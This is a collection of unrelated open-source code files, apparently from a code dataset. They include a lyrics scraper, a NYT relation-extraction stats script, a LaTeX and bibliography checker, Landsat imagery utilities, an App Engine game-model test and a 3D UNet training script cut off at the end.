song_titles = [''] for album in lyric_soup.find('div', class_="tdata-ext").find_all('tbody'): # append url if not duplicate song for i_title in np.arange(len(album.find_all('a'))): title = album.find_all('a')[i_title].text if title not in song_titles: # first layer filter to save time best_match = 0 best_match_title = '' for given_title in song_titles: score = fuzz.ratio(title.lower(), given_title.lower()) # TODO : check from fuzz import process; process.dedupe, threshold # for more elegant solution if score > best_match: best_match = score best_match_title = given_title if best_match < 90: song_titles += [title] x = album.find_all('a')[i_title] song_urls += [prefix + x['href']] #else: #print(f'fuzzy title match : {title} vs {best_match_title}') # for testing removed titles #else: #print(f'exact title match : {title}') return song_urls # function : save song pages to txt files def save_song_page(artist, song_urls, path): ''' input : artist str song_url list containing song urls of an artist path str do : save song page to txt files with filename start with artist to path artist folder''' if not os.path.exists(f'{path}/{artist}'): os.makedirs(f'{path}/{artist}') for i in tqdm(np.arange(len(song_urls))): time.sleep(0.5) one_song_request = requests.get(song_urls[i]) open(f'{path}/{artist}/{artist}_song_{i}.txt', 'w').write(one_song_request.text) # function : strip song page and save lyrics to txt file def save_lyric_files(artist, path): ''' input : artist str path str do : save striped lyric to txt files with filename start with artist to path artist folder''' if not os.path.exists(path + f'/{artist}/'): os.makedirs(path + f'/{artist}/') path_filenames = (path + f'/{artist}/' + f'{artist}_song_*.txt') song_files = [f for f in sorted(glob.glob(path_filenames))] for i in tqdm(np.arange(len(song_files))): # save the text in the song txt files into variable text text = open(song_files[i], 'r').read() lyric_soup = BeautifulSoup(text, 'html.parser') # text here is the content of txt file, and is equivalent to requests.text # strip if lyric_soup.find('pre') is not None: open(f'./{artist}/{artist}_lyric_{i}.txt', 'a').write(lyric_soup.find('pre').text) # run all steps for two artists if __name__ == '__main__': artists = ['simon_garfunkel', 'queen'] artist_urls = ['https://www.lyrics.com/artist/Simon-%26-Garfunkel/5431', 'https://www.lyrics.com/artist/Queen/5205'] path = os.getcwd() for n in np.arange(len(artists)): artist = artists[n] artist_url = artist_urls[n] # get song urls song_urls = get_song_urls_drf(artist, artist_url) print(len(song_urls)) # save song page save_song_page(artist, song_urls, path) # save striped lyric to txt files save_lyric_files(artist, path) # simon_garfunkel : no drop 1875, drop exact match 283, drop fuzzywuzzy match 204 remained # queen : before droping over 3800, after 578 # some of 204 and 578, the html lyric body pre is none and skipped -> in the end two artist together 738 lyrics ```
{ "source": "jinglinpeng/dataprep", "score": 2 }
#### File: tests/benchmarks/eda.py ```python from functools import partial from ...datasets import load_dataset from ...eda import create_report def report_func(df, **kwargs): for _ in range(3): create_report(df, **kwargs) def test_create_report(benchmark): df = load_dataset("titanic") benchmark(partial(report_func), df) ```
{ "source": "JingliSHI0206/Joint-Extraction-of-Entities-and-Relations-Based-on-a-Novel-Tagging-Scheme", "score": 3 }
#### File: JingliSHI0206/Joint-Extraction-of-Entities-and-Relations-Based-on-a-Novel-Tagging-Scheme/stats.py ```python import os import pickle import json def triplet_stats(fin): valid = 0 total = 0 for line in fin: line = line.strip() if not line: continue sentence = json.loads(line) total += len(sentence["relationMentions"]) for relationMention in sentence["relationMentions"]: if relationMention["label"] != "None": valid += 1 return valid, total def sentence_length_stats(): length_dict = {} with open('data/NYT_CoType/corpus.txt', 'rt', encoding='utf-8') as fin: for line in fin: sentence = line.strip().split() length = len(sentence) if length not in length_dict: length_dict[length] = 1 else: length_dict[length] = length_dict[length] + 1 with open('data/NYT_CoType/sentence_length_stats.pk', 'wb') as f: pickle.dump(length_dict, f) def token_length_stats(): length_dict = {} with open('data/NYT_CoType/corpus.txt', 'rt', encoding='utf-8') as fin: for line in fin: sentence = line.strip().split() for word in sentence: length = len(word) if length not in length_dict: length_dict[length] = 1 else: length_dict[length] = length_dict[length] + 1 with open('data/NYT_CoType/token_length_stats.pk', 'wb') as f: pickle.dump(length_dict, f) def show_length(length_dict, groups): max_length = max(length_dict.keys()) total = sum(length_dict.values()) length_list = list(length_dict.items()) length_list.sort(key=lambda tup: tup[0]) length_groups = [0] * len(groups) for length_tuple in length_list: for index, group in enumerate(groups): if length_tuple[0] <= group: length_groups[index] = length_groups[index] + length_tuple[1] break print("-" * 36) print("| ( 0, {:3d}] | {:8d} | {:7.3f}% |".format(groups[0], length_groups[0], length_groups[0]/total*100)) for i in range(1, len(length_groups)): print("| ({:3d}, {:3d}] | {:8d} | {:7.3f}% |" .format(groups[i-1], groups[i], length_groups[i], length_groups[i]/total*100)) print("-" * 36) print("| Total | {:8d} | {:7.3f}% |" .format(sum(length_groups), sum(length_groups) / total * 100)) print("-" * 36) print("Max Length: {:d}".format(max_length)) if __name__ == "__main__": if not os.path.exists('data/NYT_CoType/sentence_length_stats.pk'): sentence_length_stats() with open('data/NYT_CoType/sentence_length_stats.pk', 'rb') as f: length_dict = pickle.load(f) groups = list(range(10, 110, 10)) show_length(length_dict, groups) if not os.path.exists('data/NYT_CoType/token_length_stats.pk'): token_length_stats() with open('data/NYT_CoType/token_length_stats.pk', 'rb') as f: length_dict = pickle.load(f) groups = list(range(5, 25, 3)) show_length(length_dict, groups) print() with open('data/NYT_CoType/train.json', 'rt', encoding='utf-8') as fin: valid, total = triplet_stats(fin) print("Train\n\tValid Triplets: {}\n\tTotal Triplets: {}".format(valid, total)) with open('data/NYT_CoType/test.json', 'rt', encoding='utf-8') as fin: valid, total = triplet_stats(fin) print("Test\n\tValid Triplets: {}\n\tTotal Triplets: {}".format(valid, total)) # ------------------------------------ # | ( 0, 10] | 2251 | 0.952% | # | ( 10, 20] | 22997 | 9.729% | # | ( 20, 30] | 55208 | 23.356% | # | ( 30, 40] | 65138 | 27.557% | # | ( 40, 50] | 48907 | 20.690% | # | ( 50, 60] | 24943 | 10.552% | # | ( 60, 70] | 10123 | 4.283% | # | ( 70, 80] | 3848 | 1.628% | # | ( 80, 90] | 1619 | 0.685% | # | ( 90, 100] | 664 | 0.281% | # ------------------------------------ # | Total | 235698 | 99.713% | # ------------------------------------ # Max Length: 9621 # ------------------------------------ # | ( 0, 5] | 6119176 | 68.385% | # | ( 5, 8] | 2008222 | 22.443% | # | ( 8, 11] | 682932 | 7.632% | # | ( 11, 14] | 120471 | 1.346% | # | ( 14, 17] | 12470 | 0.139% | # | ( 17, 20] | 3492 | 0.039% | # | ( 20, 23] | 807 | 0.009% | # ------------------------------------ # | Total | 8947570 | 99.994% | # ------------------------------------ # Max Length: 107 # # Train # Valid Triplets: 111610 # Total Triplets: 372853 # Test # Valid Triplets: 410 # Total Triplets: 3880 ```
{ "source": "jingliu9/uu-checker", "score": 2 }
#### File: jingliu9/uu-checker/checker.py ```python import logging import os import argparse import sys import subprocess import re import random import json from pathlib import Path import gscholar import time import bibtex_dblp.dblp_api as dblp_api import colorama colorama.init(autoreset=True) YELLOW = "\x1b[1;33;40m" class TexSourecFile(object): def __init__(self, name): self.name = name self.out_name = self.name + '.no_comment.tex' self.comment_block_stack = [] def gen_no_comment_file(self): self._preprocessing_remove_comment() return self.out_name def remove_no_comment_file(self): if os.path.exists(self.out_name): os.remove(self.out_name) def _if_start_comment_block(self, line: str) -> bool: line = line.strip() if len(line) < 3 or line[0:3] != r'\if': return False items = line.split() if len(items) > 1: if items[1] == '0' * len(items[1]): self.comment_block_stack.append(items[1]) return True return False def _try_match_comment(self, line: str): if len(self.comment_block_stack) == 0: return False if line.strip() == r'\fi': self.comment_block_stack.pop() return True return False def _in_comment_block(self): return len(self.comment_block_stack) > 0 def _if_comment_line(self, line: str) -> bool: return len(line) >= 1 and line[0] == '%' def _write_replace_line(self, f): f.write(' \n') def _preprocessing_remove_comment(self): with open(self.name) as f: with open(self.out_name, 'w') as fw: for line in f: if self._if_comment_line(line): self._write_replace_line(fw) continue self._if_start_comment_block(line) self._try_match_comment(line) if self._in_comment_block(): self._write_replace_line(fw) continue fw.write(line) # verify same number of lines with open(self.name) as f: with open(self.out_name) as fw: f_lines = sum(1 for line in f) fw_lines = sum(1 for line in fw) assert (f_lines == fw_lines) class TexChecker(object): def __init__(self, root_file, skip_fname=None, inter=False, no_rec=False, no_comment=False): self.root_file = os.path.abspath(root_file) self.root_dir = (Path(self.root_file)).parent self.inter = inter logging.debug(self.root_dir) self.tex_source_files = [] self.skip_list = [] # load the skip words if skip_fname is not None: self._init_skip_list(skip_fname) # recursively check or not if no_rec: self.tex_source_files.append(root_file) else: self._resolve_source_files(self.root_file) self.no_comment = no_comment def check(self): idx = 0 for fname in self.tex_source_files: self._check_single_file(fname) if self.inter: idx += 1 if len(self.tex_source_files) > idx: print( f"\n{YELLOW}type ENTER to go on processing {self.tex_source_files[idx]} | q (quit): ", end='') yes_or_no = input() if not yes_or_no: continue else: sys.exit(0) def _init_skip_list(self, skip_fname): with open(skip_fname) as f: for line in f: line = line.strip() # line start with '##' is treated as comment if len(line) > 1 and line[0:2] != '##': self.skip_list.append(line) def _resolve_source_files(self, cur_fname): with open(cur_fname) as f: self.tex_source_files.append(cur_fname) for line in f: m = re.match(r'\\(include|input)\{(.*?)\}', line) if m: logging.debug(m.group(2)) next_fname = '{}/{}.tex'.format(self.root_dir, m.group(2)) self._resolve_source_files(next_fname) def _check_single_file(self, fname): tmp_words = '.words' target_fname = fname if self.no_comment: tex_source = TexSourecFile(fname) target_fname = tex_source.gen_no_comment_file() cmd = 'cat {} | aspell --ignore=2 list -t | sort | uniq'.format(fname) logging.info('>>>>>>> {}'.format(fname)) with open(tmp_words, 'w') as f: subprocess.run(cmd, shell=True, stdout=f) with open(tmp_words) as f: for line in f: line = line.strip() if len(line) > 2 and line not in self.skip_list: cur_word = '\"' + line + '\"' subprocess.run('rg {} {}'.format(cur_word, target_fname), shell=True) os.remove(tmp_words) if self.no_comment: tex_source.remove_no_comment_file() class BibChecker(object): def __init__(self, bibaux, bibitems=None, bibjson=None, inter=False, reuse=False): self.USE_DBLP = True tmp_path_items = [s for s in re.split('\.|/', bibitems) if s] self.FILE_DIR = 'CHECK-{}'.format(('-'.join(tmp_path_items))) if not os.path.exists(self.FILE_DIR): os.mkdir(self.FILE_DIR) self.inter = inter self.reuse = reuse self.bibaux = bibaux #.aux self.bibitems = bibitems #.bib self.cited_bibs = {} self.cited_json_items = {} if bibjson is None: # generate json for the given bib for further processing self.bib_json_name = '{}/{}.json'.format(self.FILE_DIR, bibitems.split('/')[-1]) assert (bibitems is not None) self._match_bibitems() else: # use supplied json assert (os.path.exists(bibjson)) self.bib_json_name = bibjson self._load_citation() self._load_cited_bibentries() self._download_citation() @staticmethod def check_dependencies(): BibChecker._check_pandoc_version() @staticmethod def _check_pandoc_version(): cmd = 'pandoc --version | head -n 1 | awk \'{print $2}\'' p = subprocess.run(cmd, capture_output=True, shell=True) version_str = p.stdout.decode('utf-8').strip() vers = version_str.split('.') vers_list = list(map(int, vers)) if vers_list[0] < 2 or vers_list[1] < 16: raise RuntimeError("requires pandoc version >= 2.16") def _load_citation(self): with open(self.bibaux) as f: for line in f: line = line.strip() m = re.match(r'\\(bibcite)\{(.*?)\}', line) if m: logging.debug(m.group(2)) self.cited_bibs[m.group(2)] = line def _match_bibitems(self): # gen bib items to json cmd = 'pandoc {} -s -f biblatex -t csljson -o {}'.format( self.bibitems, self.bib_json_name) subprocess.run(cmd, shell=True) def _load_cited_bibentries(self): with open(self.bib_json_name) as f: data = json.load(f) for item in data: if item["id"] in self.cited_bibs: logging.debug(item["id"]) self.cited_json_items[item["id"]] = item # all the cited bibitems are found assert (len(self.cited_json_items) == len(self.cited_bibs)) def _download_web_bib(self, paper_title, save_name, target_year=None): pub_bibtex = None if os.path.exists(save_name) and self.reuse: logging.info('{} exists, so skip downloading'.format(save_name)) return True if self.USE_DBLP: paper_title = paper_title.replace(u'’', u"'") # use dblp search_result = dblp_api.search_publication(paper_title, max_search_results=5) if search_result is not None and search_result.total_matches > 0: # try to match the year select_idx = 0 year_matched = False if target_year is not None: for idx, pub in enumerate(search_result.results): if pub.publication.year == target_year: year_matched = True select_idx = idx break # the first that is a conference to select if not year_matched: for idx, pub in enumerate(search_result.results): if 'conference' in pub.publication.type.lower(): select_idx = idx break publication = search_result.results[select_idx].publication pub_bibtex = dblp_api.get_bibtex( publication.key, bib_format=dblp_api.BibFormat.condensed) else: # use google scholar gs_bib_list = gscholar.query(paper_title) if len(gs_bib_list) > 0: pub_bibtex = gs_bib_list[0] if pub_bibtex is not None: with open(save_name, 'w') as f: f.write(pub_bibtex) return pub_bibtex is not None def _download_citation(self): for idx, item_name in enumerate(self.cited_json_items.keys()): cur_item = self.cited_json_items[item_name] if 'title' not in cur_item: continue web_bib_name = '{}/web-{}.bib'.format(self.FILE_DIR, item_name) logging.info('{} - {}'.format(item_name, cur_item['title'])) cur_item_year = None if "issued" in cur_item and "date-parts" in cur_item["issued"]: cur_item_year = cur_item["issued"]["date-parts"][0][0] download_ok = self._download_web_bib(cur_item['title'], web_bib_name, cur_item_year) if download_ok: web_bib_json_name = web_bib_name + '.json' cmd = 'pandoc {} -s -f biblatex -t csljson -o {}'.format( web_bib_name, web_bib_json_name) subprocess.run(cmd, shell=True) with open(web_bib_json_name) as f: cur_web_bib_json = (json.load(f))[0] if "author" in cur_web_bib_json and "author" in cur_item: cur_web_author_list = cur_web_bib_json["author"] cur_item_author_list = cur_item["author"] cur_not_match = False if (len(cur_web_author_list) != len(cur_item_author_list)): logging.warning("Author list length not match") cur_not_match = True for a, b in zip(cur_web_author_list, cur_item_author_list): if "literal" in a or "literal" in b: cur_not_match = True break if a["family"] != b["family"] or a["given"] != b[ "given"]: cur_not_match = True logging.warning("\nW:{} \nL:{}".format(a, b)) if a["given"].replace('.', '') == b["given"].replace( '.', ''): cur_not_match = False if cur_web_bib_json["issued"]["date-parts"] != cur_item[ "issued"]["date-parts"]: logging.warning("Year not match") cur_not_match = True if cur_not_match: print(cur_web_bib_json) print(cur_item) if self.inter: print(f"\n{YELLOW}type ENTER to go on | q (quit): ", end='') yes_or_no = input() if yes_or_no: sys.exit(0) else: logging.warning( 'Cannot download for title:{}'.format(item_name)) # avoid burst query time.sleep(random.randrange(20, 30)) def main(args, loglevel): logging.basicConfig(format="%(levelname)s: %(message)s", level=loglevel) if args.tex: cur_checker = TexChecker(args.root, skip_fname=args.words, inter=args.interactive, no_rec=args.no_rec, no_comment=args.no_comment) cur_checker.check() elif args.markdown: raise RuntimeError('Markdown not supported yet') elif args.bibaux: assert (args.bib is not None or args.bibjson is not None) BibChecker.check_dependencies() cur_checker = BibChecker(args.root, bibitems=args.bib, bibjson=args.bibjson, inter=args.interactive, reuse=args.reuse) else: raise RuntimeError('type not supported') def parse_cmd_args(): parser = argparse.ArgumentParser(description="Spell Check for Latex") # file type group = parser.add_mutually_exclusive_group(required=True) group.add_argument('--tex', action='store_true', help='latex/tex project') group.add_argument('--markdown', action='store_true', help='markdown project') group.add_argument( '--bibaux', action='store_true', help='cross checking bibtex for references (generated aux)') # required parser.add_argument('--root', type=str, help='root file path', required=True) # optional parser.add_argument('--words', help='a file with each line a word to skip') parser.add_argument('--interactive', help='need user input to process next file', action='store_true') parser.add_argument('--no_rec', help='Not recursively check included files', action='store_true') parser.add_argument('--no_comment', help='Avoid check comments in tex files', action='store_true') parser.add_argument('--bib', help='bib file contains bibitem.', type=str) parser.add_argument( '--bibjson', help= 'json file contains the bibitems (csljson), if specified will not use --bib', type=str) parser.add_argument('--reuse', help='try to reuse downloaded bib items', action='store_true') return (parser.parse_args()) if __name__ == '__main__': loglevel = logging.INFO args = parse_cmd_args() main(args, loglevel) ```
{ "source": "jinglun-cn/landsat-classification", "score": 2 }
#### File: jinglun-cn/landsat-classification/get_wrs.py ```python import ogr import shapely.geometry import shapely.wkt class ConvertToWRS: """Class which performs conversion between latitude/longitude co-ordinates and Landsat WRS-2 paths and rows. Requirements: * OGR (in the GDAL suite) * Shapely * Landsat WRS-2 Path/Row Shapefiles - download from USGS site (http://landsat.usgs.gov/tools_wrs-2_shapefile.php), you want wrs2_descending.zip Usage: 1. Create an instance of the class: conv = ConvertToWRS() (This will take a while to run, as it loads the shapefiles in to memory) 2. Use the get_wrs method to do a conversion: print conv.get_wrs(50.14, -1.43) For example: >>> conv = ConvertToWRS() >>> conv.get_wrs(50.14, -1.7) [{'path': 202, 'row': 25}] >>> conv.get_wrs(50.14, -1.43) [{'path': 201, 'row': 25}, {'path': 202, 'row': 25}] """ def __init__(self, shapefile="./wrs2_descending.shp"): """Create a new instance of the ConvertToWRS class, and load the shapefiles into memory. If it can't find the shapefile then specify the path using the shapefile keyword - but it should work if the shapefile is in the same directory. """ # Open the shapefile self.shapefile = ogr.Open(shapefile) # Get the only layer within it self.layer = self.shapefile.GetLayer(0) self.polygons = [] # For each feature in the layer for i in range(self.layer.GetFeatureCount()): # Get the feature, and its path and row attributes feature = self.layer.GetFeature(i) path = feature['PATH'] row = feature['ROW'] # Get the geometry into a Shapely-compatible # format by converting to Well-known Text (Wkt) # and importing that into shapely geom = feature.GetGeometryRef() shape = shapely.wkt.loads(geom.ExportToWkt()) # Store the shape and the path/row values # in a list so we can search it easily later self.polygons.append((shape, path, row)) def get_wrs(self, lat, lon): """Get the Landsat WRS-2 path and row for the given latitude and longitude co-ordinates. Returns a list of dicts, as some points will be in the overlap between two (or more) landsat scene areas: [{path: 202, row: 26}, {path:186, row=7}] """ # Create a point with the given latitude # and longitude (NB: the arguments are lon, lat # not lat, lon) pt = shapely.geometry.Point(lon, lat) res = [] # Iterate through every polgon for poly in self.polygons: # If the point is within the polygon then # append the current path/row to the results # list if pt.within(poly[0]): res.append({'path': poly[1], 'row': poly[2]}) # Return the results list to the user return res ``` #### File: jinglun-cn/landsat-classification/util.py ```python import os, shutil, sys, time import numpy as np import pandas as pd from glob import glob import rasterio as rio from rasterio import warp import zipfile import requests from bs4 import BeautifulSoup import matplotlib.pyplot as plt from rasterio.warp import calculate_default_transform, reproject, Resampling from get_wrs import ConvertToWRS def reproject_ras(inpath, outpath, new_crs): dst_crs = new_crs # CRS for web meractor with rio.open(inpath) as src: transform, width, height = calculate_default_transform( src.crs, dst_crs, src.width, src.height, *src.bounds) kwargs = src.meta.copy() kwargs.update({ 'crs': dst_crs, 'transform': transform, 'width': width, 'height': height }) with rio.open(outpath, 'w', **kwargs) as dst: for i in range(1, src.count + 1): reproject( source=rio.band(src, i), destination=rio.band(dst, i), src_transform=src.transform, src_crs=src.crs, dst_transform=transform, dst_crs=dst_crs, resampling=Resampling.nearest) def cal_path_row(site): '''Calculate Path/Row for each site''' conv = ConvertToWRS(shapefile='./WRS2_descending/WRS2_descending.shp') path_row = conv.get_wrs(site['Latitude'], site['Longitude'])[0] #conv.get_wrs(lat, lon) site['path'] = path_row['path'] site['row'] = path_row['row'] return site # Form a bulk of L8 products to download def form_bulk(bulk_list, sites, s3_scenes): # Iterate over sites to select a bulk of scenes for index, site in sites.iterrows(): # check if the site is covered in previous scenes covered = False for scene in bulk_list: if (scene.path == site.path and scene.row == site.row): sites.loc[index, 'productId'] = scene.productId covered = True if not covered: # Filter the Landsat S3 table for images matching path/row, cloudcover and processing state. scenes = s3_scenes[(s3_scenes.path == site.path) & (s3_scenes.row == site.row) & (s3_scenes.cloudCover <= 5) & (~s3_scenes.productId.str.contains('_T2')) & (~s3_scenes.productId.str.contains('_RT')) & (s3_scenes.acquisitionDate.str.contains('2016-'))] # print(' Found {} images\n'.format(len(scenes))) # If any scene exists, select the one that have the minimum cloudCover. if len(scenes): scene = scenes.sort_values('cloudCover').iloc[0] sites.loc[index, 'productId'] = scene.productId # Add the selected scene to the bulk download list. bulk_list.append(scene) else: print('cannot find a scene for the site ID={}'.format(site.ID)) return bulk_list def download_and_stack_product(row_bulk_frame): ''' Download and stack Landsat8 bands ''' LANDSAT_PATH = './Landsat8data/' entity_dir = os.path.join(LANDSAT_PATH, row_bulk_frame.productId) # if this dir exists, assume data are downloaded if not os.path.exists(entity_dir): # Print some the product ID print('\n', 'Downloading L8 data:', row_bulk_frame.productId) # print(' Checking content: ', '\n') # Request the html text of the download_url from the amazon server. # download_url example: https://landsat-pds.s3.amazonaws.com/c1/L8/139/045/LC08_L1TP_139045_20170304_20170316_01_T1/index.html response = requests.get(row_bulk_frame.download_url) # If the response status code is fine (200) if response.status_code == 200: # Import the html to beautiful soup html = BeautifulSoup(response.content, 'html.parser') # Create the dir where we will put this image files. entity_dir = os.path.join(LANDSAT_PATH, row_bulk_frame.productId) os.makedirs(entity_dir, exist_ok=True) # Second loop: for each band of this image that we find using the html <li> tag for li in html.find_all('li'): # Get the href tag file = li.find_next('a').get('href') # print(' Downloading: {}'.format(file)) response = requests.get(row_bulk_frame.download_url.replace('index.html', file), stream=True) with open(os.path.join(entity_dir, file), 'wb') as output: shutil.copyfileobj(response.raw, output) del response # Stack bands 1-7,9 # Obtain the list of bands 1-7,9 landsat_bands = glob(os.path.join(entity_dir, '*B[0-7,9].TIF')) landsat_bands.sort() # Read metadata of first file with rio.open(landsat_bands[0]) as src0: meta = src0.meta # Update meta to reflect the number of layers meta.update(count = len(landsat_bands)) # Read each layer and write it to stack stackfile = os.path.join(entity_dir, row_bulk_frame.productId+'_Stack.TIF') # print('Stacking L8 bands: {}'.format(row_bulk_frame.productId)) with rio.open(stackfile, 'w', **meta) as dst: for id, layer in enumerate(landsat_bands, start=1): with rio.open(layer) as src1: dst.write_band(id, src1.read(1)) # Reprojecting # print('Reprojecting...') reproject_ras(inpath = stackfile, outpath = stackfile, new_crs = 'EPSG:4326') def crop_rectangle(lat, lon, image_width, image_height, res, in_file, out_file = './out.TIF'): '''crop a rectangle around a point in Lat/Lon CRS''' with rio.open(in_file) as src: # CRS transformation src_crs = rio.crs.CRS.from_epsg(4326) # latlon crs dst_crs = src.crs # current crs xs = [lon] ys = [lat] coor_transformed = warp.transform(src_crs, dst_crs, xs, ys, zs=None) coor = [coor_transformed[0][0], coor_transformed[1][0]] # print('coor: ', coor ) # Returns the (row, col) index of the pixel containing (x, y) given a coordinate reference system py, px = src.index(coor[0], coor[1]) # Build window with right size p_width = image_width//res p_height = image_height//res window = rio.windows.Window(px - p_width//2, py - p_height//2, p_width, p_height) # print('window: ', window) # Read the data in the window clip = src.read(window=window) # print('clip: ', clip) # write a new file meta = src.meta meta['width'], meta['height'] = p_width, p_height meta['transform'] = rio.windows.transform(window, src.transform) with rio.open(out_file, 'w', **meta) as dst: dst.write(clip) def stack_rasters(raster_list, outfile): # Read metadata of a certain file with rio.open(raster_list[0]) as src0: meta = src0.meta # Update meta to reflect the number of layers num_layers = 0 for f in raster_list: with rio.open(f) as src: num_layers += src.count meta.update(count = num_layers) # Read each layer and write it to stack # print(' Stacking site_ID: {}'.format(site.ID)) with rio.open(outfile, 'w', **meta) as dst: stack_band_offset = 0 for id, f in enumerate(raster_list, start=1): with rio.open(f) as src: for band_f in range(1, src.count+1): # Cast dtype, matching L8 band_to_write = src.read(band_f).astype(np.uint16) dst.write_band(stack_band_offset+band_f, band_to_write) stack_band_offset += src.count def tif_to_np(tif_file): with rio.open(tif_file) as src: return src.read() def classify(arr_l8, model, patch_size): ''''arr_l8 is a 4D array of size (N, X, Y, B) ''' s = patch_size N, X, Y, B = arr_l8.shape[0], arr_l8.shape[1], arr_l8.shape[2], arr_l8.shape[3] # Pixel (x, y) in sample n is the center of patches[m] # m= n*(X-s+1)*(Y-s+1) + (y-2)*(X-s+1) + (x-2), x,y,n starts from 0 # extract patches patches = [] for n in range(N): for y in range(Y-s+1): for x in range(X-s+1): # patch = arr_l8[n, x:x+s, y:y+s, :].copy() # cls = np.argmax(model.predict(patch[np.newaxis, ...]), axis=-1)[0] # arr_cls[n, x+s//2, y+s//2] = cls patches.append(arr_l8[n, x:x+s, y:y+s, :]) patches = np.array(patches) labels = np.argmax(model.predict(patches), axis=-1) # classification array arr_cls = np.zeros(arr_l8.shape[:-1]) i = 0 for n in range(N): for y in range(Y-s+1): for x in range(X-s+1): arr_cls[n, x+s//2, y+s//2] = labels[i] i += 1 return arr_cls.astype('int') ```
{ "source": "jinglundong/GuessGame", "score": 3 }
#### File: test/model/test_game_model.py ```python import unittest from datetime import datetime from datetime import timedelta from google.appengine.ext import ndb from google.appengine.api import memcache from google.appengine.ext import testbed from service.model.game import Game class TestGame(unittest.TestCase): def setUp(self): self.testbed = testbed.Testbed() self.testbed.activate() self.testbed.init_datastore_v3_stub() self.testbed.init_memcache_stub() ndb.get_context().clear_cache() def tearDown(self): self.testbed.deactivate() def test_read_after_write(self): test_game = Game( game_id = 'ID1', answer = '1234') test_game_key = test_game.put() returned_test_game = test_game_key.get() self.assertEqual('1234', returned_test_game.answer) def test_query_game(self): test_game = Game( game_id = 'ID1', answer = '1234') test_game_key = test_game.put() games = Game.query_game('ID1') self.assertEqual(1, len(games)) self.assertEqual('ID1', games[0].game_id) self.assertEqual(False, games[0].is_solved) def test_list_all_games_from_new_to_old(self): now = datetime.now() test_game_early = Game( game_id = 'ID_OLD', answer = '1234', date = now) test_game_early_key = test_game_early.put() test_game_later = Game( game_id = 'ID_OLD', answer = '1234', date = now + timedelta(days=1)) test_game_later_key = test_game_later.put() games = Game.list_all_games_from_new_to_old() self.assertTrue(games[0].date - games[1].date == timedelta(days=1)) def test_wrong_guess(self): test_game = Game( game_id = 'ID1', answer = '1234') test_game_key = test_game.put() result = Game.guess('ID1', '0000') self.assertFalse(result) def test_right_guess(self): test_game = Game( game_id = 'ID1', answer = '1234') test_game_key = test_game.put() result = Game.guess('ID1', '1234') self.assertTrue(result) self.assertTrue(Game.query_game('ID1')[0].is_solved) def test_new_game(self): Game.new_game('ID1', '1111') games = Game.query().fetch() self.assertEqual(1, len(games)) self.assertEqual('ID1', games[0].game_id) self.assertEqual('1111', games[0].answer) def test_list_all_unsolved_games_from_new_to_old(self): now = datetime.now() test_game_early = Game( game_id = 'ID_OLD', answer = '1234', date = now) test_game_early_key = test_game_early.put() test_game_later = Game( game_id = 'ID_OLD', answer = '1234', date = now + timedelta(days=1)) test_game_later_key = test_game_later.put() test_game_solved = Game( game_id = 'ID_OLD', answer = '1234', date = now, is_solved = True) test_game_solved = test_game_early.put() games = Game.list_all_games_from_new_to_old() self.assertTrue(2, len(games)) self.assertTrue(games[0].date - games[1].date == timedelta(days=1)) ```
{ "source": "Jing-lun/GPR_3D_Model_Reconstruction", "score": 2 }
#### File: Jing-lun/GPR_3D_Model_Reconstruction/train.py ```python import argparse import logging import os import sys import numpy as np import torch import torch.nn as nn from torch import optim from tqdm import tqdm from torch.autograd import Variable from torch.utils.tensorboard import SummaryWriter from torch.utils.data import DataLoader, random_split from torchvision.utils import save_image from model import UNet3D from utils.data_loader import BasicDataset from utils.utils import PointLoss from eval import eval_net def train_net(net, epochs, batch_size, lr, device, save_cp = True): dset = BasicDataset(args.input, args.gt) n_train = int(len(dset) * 0.85) n_val = len(dset) - n_train train, val = random_split(dset, [n_train, n_val]) dset_train = DataLoader(train, batch_size=batch_size, shuffle=True, num_workers=8, pin_memory=True) dset_valid = DataLoader(val, batch_size=batch_size, shuffle=False, num_workers=8, pin_memory=True) writer = SummaryWriter(comment=f'BS_{2}') logging.info(f'''Starting training: Epochs: {epochs} Batch size: {batch_size} Learning rate: {lr} Training size: {n_train} Validation size: {n_val} Device: {device.type} ''') optimizer = optim.Adam(net.parameters(), lr=lr) scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=40, gamma=0.2) L1_loss = nn.L1Loss() L1_loss.to(device) global_step = 0 for epoch in range(epochs): net.train() epoch_loss = 0 with tqdm(total=n_train, desc=f'Epoch {epoch+1}/{epochs}', unit='mat') as pbar: for batch in dset_train: mats = batch['mat_input'] pcds = batch['mat_gt'] mats = mats.to(device=device, dtype=torch.float32) pcds = pcds.to(device=device, dtype=torch.float32) test = pcds*6 + 1 optimizer.zero_grad() mats_pred = net(mats) new_predict = test * mats_pred new_ground_truth = 7*pcds loss = L1_loss(new_predict, new_ground_truth) epoch_loss += loss.item() writer.add_scalar('Loss/train', loss.item(), global_step) pbar.set_postfix(**{'loss (batch)': loss.item()}) loss.backward() optimizer.step() pbar.update(mats.shape[0]) global_step += 1 val_score = eval_net(net, dset_valid, device, n_val) logging.info(f'Validation L1 Distance: {val_score}') writer.add_scalar('Loss/test', val_score, global_step) scheduler.step() if epoch % 20 == 0: torch.save(net.state_dict(), 'check_points/' + f'CP_epoch{epoch + 1}.pth') logging.info(f'Checkpoint {epoch + 1} saved !') writer.close() def args_setting(): parser = argparse.ArgumentParser(description='Train the net on gpr data', formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('-e', '--epochs', metavar='E', type=int, default=101, help='Number of epochs', dest='epochs') parser.add_argument('-b', '--batch-size', metavar='B', type=int, nargs='?', default=4, help='Batch size', dest='batchsize') parser.add_argument('-l', '--learning-rate', metavar='LR', type=float, nargs='?', default=0.00001, help='Learning rate', dest='lr') parser.add_argument('-f', '--load', dest='load', type=str, default='check_points/good_627/CP_epoch101.pth', help='Load model from a .pth file') parser.add_argument('-i', '--input', default='../resnet_range/', type=str, metavar='PATH', help='path to input dataset', dest='input') parser.add_argument('-g', '--ground-truth', default='../new_mat_gt/', type=str, metavar='PATH', help='path to gt dataset', dest='gt') parser.add_argument('-c', '--checkpoint', default='check_point/', type=str, metavar='PATH', help='path to gt dataset', dest='cp') return parser.parse_args() if __name__ == '__main__': logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') args = args_setting() device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') logging.info(f'Let\'s use {torch.cuda.device_count()} GPUs!') net = UNet3D(residual='conv') net = torch.nn.DataParallel(net) if args.load != '': net.load_state_dict( torch.load(args.load, map_location=device) ) logging.info(f'Model loaded from {args.load}') logging.info(f'Network Structure:\n' f'\t{net}\n') net.to(device=device) try: train_net(net=net, epochs=args.epochs, batch_size=args.batchsize, lr=args.lr, device=device) except 